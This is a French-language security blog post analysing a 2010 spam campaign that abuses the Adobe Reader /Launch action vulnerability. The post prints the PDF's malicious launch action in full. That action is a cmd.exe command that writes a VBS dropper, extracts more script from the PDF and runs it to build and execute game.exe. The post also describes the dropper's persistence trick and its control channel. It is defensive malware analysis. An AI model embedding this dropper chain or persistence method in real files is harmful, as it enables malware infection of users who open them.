/Launch malware
Par Sylvain SARMEJEANNE, mercredi 28 avril 2010 à 10:14 :: General :: #377 :: rss
On savait déjà que la récente vulnérabilité
(Ref. Lexsi 13190) dans la gestion des actions /Launch /Action par Adobe Acrobat/Reader était exploitée dans la nature. Depuis hier circule un nouveau run de spam exploitant cette vulnérabilité.
Le message arrive de operator@monentreprise.com et tente de faire croire à l'utilisateur que ses paramètres POP3 et SMTP ont changé et que les nouveaux paramètres peuvent être trouvés dans le PDF en pièce jointe :

pdfid nous apprend qu'une action va être exécutée à l'ouverture du PDF (/OpenAction) :
$ pdfid.py doc.pdf
PDFiD 0.0.10 doc.pdf PDF Header: %PDF-1.1 obj 8 endobj 8 stream 1 endstream 1 xref 1 trailer 1 startxref 1 /Page 1 /Encrypt 0 /ObjStm 0 /JS 0 /JavaScript 0 /AA 0 /OpenAction 1 /AcroForm 0 /JBIG2Decode 0 /RichMedia 0 /Colors > 2^24 0
pdf-parser nous permet de dumper le code correspondant :
$ pdf-parser.py -a doc.pdf
Comment: 2 XREF: 1 Trailer: 1 StartXref: 1 Indirect object: 8 2: 5, 6 /Action 1: 8 /Catalog 1: 1 /Font 1: 7 /Outlines 1: 2 /Page 1: 4 /Pages 1: 3
$ pdf-parser.py doc.pdf -v -f -w -o 8
<<
/Type /Action
/S /Launch
/Win
<<
/F (cmd.exe)
/P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll >> script.vbs && echo s=InStr(pf,"'SS") >> script.vbs && echo e=InStr(pf,"'EE") >> script.vbs
&& echo s=Mid(pf,s,e-s) >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True) >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs && script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>
Ce PDF exploite donc bien la vulnérabilité /Launch /Action et utilise l'astuce présentée par Didier Stevens pour changer le message d'avertissement d'Acrobat/Reader :

En fait, en remontant dans la boîte de dialogue, le code shell malveillant s'affiche :

Le code d'exploitation du PDF fonctionne ensuite en plusieurs étapes :
- le code shell contenu dans la directive /Launch crée le fichier script.vbs
- ce script ouvre le PDF et recopie dans batscript.vbs le code VBS contenu entre les patterns 'SS et 'EE, en prenant soin de supprimer les "%"

- le script batscript.vbs crée le fichier game.exe octet par octet, puis l'exécute

Afin d'assurer son lancement à chaque démarrage du système, game.exe se recopie dans C:\Program Files\Microsoft Common\svchost.exe et se place en tant que debugger de explorer.exe. Il se connecte à un canal de contrôle en Corée :

Promis, je ne finirai pas ce billet en disant que la détection du binaire malveillant par les éditeurs antivirus est quasi nulle.